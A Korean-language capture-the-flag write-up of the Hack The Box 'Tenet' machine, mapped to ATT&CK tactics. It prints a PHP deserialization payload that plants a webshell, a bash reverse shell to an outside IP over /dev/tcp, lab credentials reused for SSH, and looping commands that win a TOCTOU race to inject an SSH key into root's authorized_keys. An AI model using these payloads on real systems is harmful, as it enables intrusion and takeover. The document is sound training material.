[TA0043 Reconnaissance – T1595 Active Scanning]
정찰 시작
nmap 결과

열려있는 포트는 22,80으로 식별된다
웹페이지 접근을 시도해보자




웹페이지에서 얻을만한 정보로는
1. 코멘트기능
2. neil이라는 유저가 작성한 코멘트
3. 워드프레스 기반 웹페이지
이정도인 것 같음
우선 워드프레스 기반 웹을 토대로 WordPress 기본 웹페이지, 디렉터리, 플러그인 등을 살펴보자
WPScan 결과
wpscan --url http://tenet.htb/ --enumerate p,u --api-token '' 2>/dev/null || wpscan --url http://tenet.htb/ --enumerate p,u

딱히 이렇다할 추가정보는 없었지만 user명 protagonist 추가 발견
현재까지 확보한 유저명
- protagonist
- neil
추가로 wp기본 디렉터리를 조사하다 발견한디렉터리 리스팅취약점
http://tenet.htb/wp-content/uploads/

하지만 디렉터리는 비어있었음..
디렉터리 리스팅은 여기서 종료하고 웹에서 발견했던 코멘트를 기준으로 정보를 모아보겠음
did you remove the sator php file and the backup?? the migration program is incomplete!
why would you do this?!
코멘트(이하 댓글이라고 하겠음)에 남겨진내용
sator php 백업파일을 제거했냐는 내용이 담겨져있다 sator 파일 혹은 그 백업파일을 찾아보겠음
for h in tenet.htb 10.129.39.111; do
for f in sator.php sator.php.bak sator.zip sator; do
echo -n "$h/$f -> "; curl -s -o /dev/null -w "%{http_code}\n" http://$h/$f
done
done

나이스 발견
10.129.39.111/sator.php
10.129.39.111/sator.php.bak
이 두 파일을 읽어보자
curl -s http://10.129.39.111/sator.php.bak
<?php
class DatabaseExport
{
public $user_file = 'users.txt';
public $data = '';
public function update_db()
{
echo '[+] Grabbing users from text file <br>';
$this-> data = 'Success';
}
public function __destruct()
{
file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
echo '[] Database updated <br>';
// echo 'Gotta get this working properly...';
}
}
$input = $_GET['arepo'] ?? '';
$databaseupdate = unserialize($input);
$app = new DatabaseExport;
$app -> update_db();
?>
10.129.39.111/sator.php.bak 내용
curl -s http://10.129.39.111/sator.php
[+] Grabbing users from text file <br>
[] Database updated <br>
10.129.39.111/sator.php 내용
취약점 분석 [TA0001 Initial Access] Exploit Public-Facing Application (T1190)
해당 소스코드가 의미하는바는 조사결과
PHP 객체 주입(Insecure Deserialization) 취약점인듯하다
백업 파일 내용중 일부인
$input = $_GET['arepo'] ?? '';
$databaseupdate = unserialize($input);
이 부분이 실제 취약점 발생부분인데 사용자의 입력값을 그대로 역직렬화 함으로써 클래스의 객체를 임의의 프로퍼티 값으로 서버 메모리에 생성할 수 있다고한다
추가로 DatabaseExport 클래스에 __destruct() 매직 매서드가 있는데 스크립트 종료부분에서 호출되며 내부의 file_put_contents() 함수를 실행하게되는데 해당 함수를 이용하면 임의의 php 파일을 웹루트에 생성하는게 가능하다
즉, 웹루트에 웹쉘을 올릴수 있다는 뜻!
1. 직렬화(Serialization)란
객체는 메모리 안에만 존재하는 구조체이기떄문에 파일에 저장하거나 네트워크로 보낼 수가 없다
그래서 객체를 문자열로 납작하게 펴는 것이 직렬화고, 그 문자열을 다시 객체로 복원하는 게 역직렬화라고한다
위는 직렬화에 대해서 알아본 내용이다
우리는 이중 unserialize() 함수가 역직렬화를 하는 과정을 이용해 악성 직렬화 데이터를 전달해 서버 내부에서 역직렬화를 수행함으로써 웹쉘이 완성되도록 php 포맷에 맞춰 페이로드를 작성하면 된다
이때 php의 직렬화 포맷은 아래와 같다

curl -s -G http://10.129.39.111/sator.php --data-urlencode 'arepo=O:14:"DatabaseExport":2:{s:9:"user_file";s:9:"shell.php";s:4:"data";s:34:"<?php system($_REQUEST["cmd"]); ?>";}'
이러한 직렬화 포맷에 맞춰서 역직렬화 취약점을 이용하기 위한 페이로드

올라갔다 만약 이부분에서 직렬화 포맷에 맞추지 않게된다면 false가 반환된다
curl -s "http://10.129.39.111/shell.php?cmd=id"
웹쉘 테스트

웹루트 권한을 갖는 웹쉘 획득성공
[TA0001 Initial Access] + [TA0002 Execution] 성공 - www-data 권한 RCE 성공
리버스쉘을 붙여서 인터렉티브쉘을 획득하자
리버스 쉘 획득 [TA0002 Execution] Command and Scripting Interpreter: Unix Shell (T1059.004)
curl -s -G http://10.129.39.111/shell.php --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/10.10.15.51/4444 0>&1"'

쉘 업그레이드 방법
python3 -c 'import pty;pty.spawn("/bin/bash")'
// Ctrl+Z 로 백그라운드
stty raw -echo; fg
// Enter 두 번 후
export TERM=xterm
업그레이드 이유 : 기본 nc 쉘은 자동완성이 안되기떄문에 PTY를 붙여서 편하게 쓰기위함
생략 가능함
내부 정찰을 시작하자
[TA0006 Credential Access] Credentials In Files (T1552.001)
앞서 확보한 유저들의 정보를 확보해보자
우선 wp-config.php의 DB 연결 정보를 찾아 확인해보겠음
wp-config.php는 DB 접속정보가 평문저장되기에 확보만 한다면 쉽게 Credential을 얻을 수 있을 것임

역시나
neil 계정의 ssh 접속 여부 및 계정정보를 확보하였음
Credential 재사용으로 ssh 접속을 시도해보겠음
username : neil
password : Opera2112
[T1078 Valid Accounts]

Credential 재사용으로 ssh 접속 성공
user flag 확보

user flag : 72d3c67c806c81ceb30d99bd2dc23974
이제 권한 상승을 위한 정보를 탐색해보자
sudo -l

음..보통은 sudo -l을 치면 PW를 요구하며 뭔가를 확보하기가 쉽지않지만 이번에는 출력되는 결과가 있다
/usr/local/bin/enableSSH.sh 이게 뭔지는 모르겠으나 PW없이 root 권한으로 실행되기에 굉장히 수상하다 볼 수 있다
좀더 파보자
cat /usr/local/bin/enableSSH.sh
#!/bin/bash
checkAdded() {
sshName=$(/bin/echo $key | /usr/bin/cut -d " " -f 3)
if [[ ! -z $(/bin/grep $sshName /root/.ssh/authorized_keys) ]]; then
/bin/echo "Successfully added $sshName to authorized_keys file!"
else
/bin/echo "Error in adding $sshName to authorized_keys file!"
fi
}
checkFile() {
if [[ ! -s $1 ]] || [[ ! -f $1 ]]; then
/bin/echo "Error in creating key file!"
if [[ -f $1 ]]; then /bin/rm $1; fi
exit 1
fi
}
addKey() {
tmpName=$(mktemp -u /tmp/ssh-XXXXXXXX)
(umask 110; touch $tmpName)
/bin/echo $key >>$tmpName
checkFile $tmpName
/bin/cat $tmpName >>/root/.ssh/authorized_keys
/bin/rm $tmpName
}
key="ssh-rsa AAAAA3NzaG1yc2GAAAAGAQAAAAAAAQG+AMU8OGdqbaPP/Ls7bXOa9jNlNzNOgXiQh6ih2WOhVgGjqr2449ZtsGvSruYibxN+MQLG59VkuLNU4NNiadGry0wT7zpALGg2Gl3A0bQnN13YkL3AA8TlU/ypAuocPVZWOVmNjGlftZG9AP656hL+c9RfqvNLVcvvQvhNNbAvzaGR2XOVOVfxt+AmVLGTlSqgRXi6/NyqdzG5Nkn9L/GZGa9hcwM8+4nT43N6N31lNhx4NeGabNx33b25lqermjA+RGWMvGN8siaGskvgaSbuzaMGV9N8umLp6lNo5fqSpiGN8MQSNsXa3xXG+kplLn2W+pbzbgwTNN/w0p+Urjbl root@ubuntu"
addKey
checkAdded
enableSSH.sh 전문
해당 스크립트에서 눈여겨 봐야하는 지점은 아래와 같다
checkFile() {
if [[ ! -s $1 ]] || [[ ! -f $1 ]]; then
/bin/echo "Error in creating key file!"
if [[ -f $1 ]]; then /bin/rm $1; fi
exit 1
fi
}
addKey() {
tmpName=$(mktemp -u /tmp/ssh-XXXXXXXX)
(umask 110; touch $tmpName)
/bin/echo $key >>$tmpName
checkFile $tmpName
/bin/cat $tmpName >>/root/.ssh/authorized_keys
/bin/rm $tmpName
}
이 두 함수를 오가는 지점에서 레이스컨디션취약점이 발생하게된다
원리를 순차적으로 설명하자면
[정상동작]
1. addkey()의 mktemp -u /tmp/ssh-XXXXXXXX명령어를 통해 ssh-XXXXXXXX 파일이 만들어진다
2. mktemp의 -u 옵션은 temp파일의 이름만 생성해두고 파일 자체는 생성하지 않는다 즉 이 시점엔 /tmp/ssh-As3tK2pQ 같은 이름만 정해져 있는 상태
3. 생성될 파일의 권한또한 umask를 통해 666권한으로 파일이 생성됨
4. $key의 선언되어있는 키값을 ssh-As3tK2pQ 에 넣음
5. checkFile() 함수를 통해서 파일을 검사함 단,checkFile()를 보면 알수있듯이 해당 함수는 파일의 내용을 검사하지않으며 파일이 비었는지 여부와 파일인지 만을 검사함
6. ssh-As3tK2pQ를 /root/.ssh/authorized_keys에 넣음
7. /bin/rm $tmpName 를 통해서 /tmp/ssh-As3tK2pQ 삭제
이 정상동작중 4~6 사이에 공격자의 공개키를 /tmp/ssh-XXXXXXXX 로 덮어 씌우는게 가능하다면 공격자 공개키가 ssh root 키파일로 복사가 된다
// 처음에는 스크립트를 보고 이게 뭔가..한참을 봤었다가 하나하나 뜯어보니까 이건 레이스컨디션을 해달라는 급의 스크립트였다
[TA0004 Privilege Escalation] TOCTOU Race Condition (T1548.003 / CWE-367)
자 익스플로잇 해보자
ssh-keygen -t rsa -f ~/tenet/tenet_root -N ""
cat ~/tenet/tenet_root.pub
공격자 공개키 확보
while true; do echo "공격자 공개키" | tee /tmp/ssh-* > /dev/null 2>&1; done &
레이스 컨디션 페이로드일부
공격자 공개키를 /tmp/ssh-*에 계속해서 덮어쓰는 동작을함
while true; do sudo /usr/local/bin/enableSSH.sh; done
enableSSH.sh를 반복 동작시켜서 공격자 키가 ssh root키로 들어가도록 한다
공격자키를 이용해 ssh 접속을 해보자

권한 상승 성공
root flag 확보

root flag : 6a6024c61e7034e544d26c1a31999851
[공격 체인 정리]
1. [TA0043 Reconnaissance] nmap 전체 포트 스캔 — 22(SSH), 80(HTTP)만 오픈
2. [TA0043 Reconnaissance] wpscan으로 유저 protagonist, neil 확보
3. [TA0043 Reconnaissance] 블로그 댓글에서 neil이 남긴 sator php file and the backup 언급 확보(웹 애플리케이션이 아닌 댓글에 노출된 내부 파일명을 진입점 삼아서 추적)
4. [TA0043 Reconnaissance] IP 기본 vhost에서 sator.php.bak 소스코드 노출 확인
5. [TA0001 Initial Access] unserialize() PHP 직렬화 객체 주입으로 웹루트에 웹쉘 작성
6. [TA0002 Execution] 웹쉘로 리버스 쉘 획득 → www-data 세션 확보 및 PTY 업그레이드
7. [TA0006 Credential Access] wp-config.php에서 DB 자격증명 neil:Opera2112 평문 수집
8. [TA0008 Lateral Movement] 비밀번호 재사용으로 SSH 로그인 → neil 권한, user flag 획득
9. [TA0004 Privilege Escalation] sudo NOPASSWD 스크립트 enableSSH.sh의 TOCTOU 레이스 컨디션익스플로잇 임시 파일을 공격자 공개키로 덮어써 root authorized_keys에 주입
10. [TA0003 Persistence] 주입된 SSH 키로 root 직접 로그인 → root flag 획득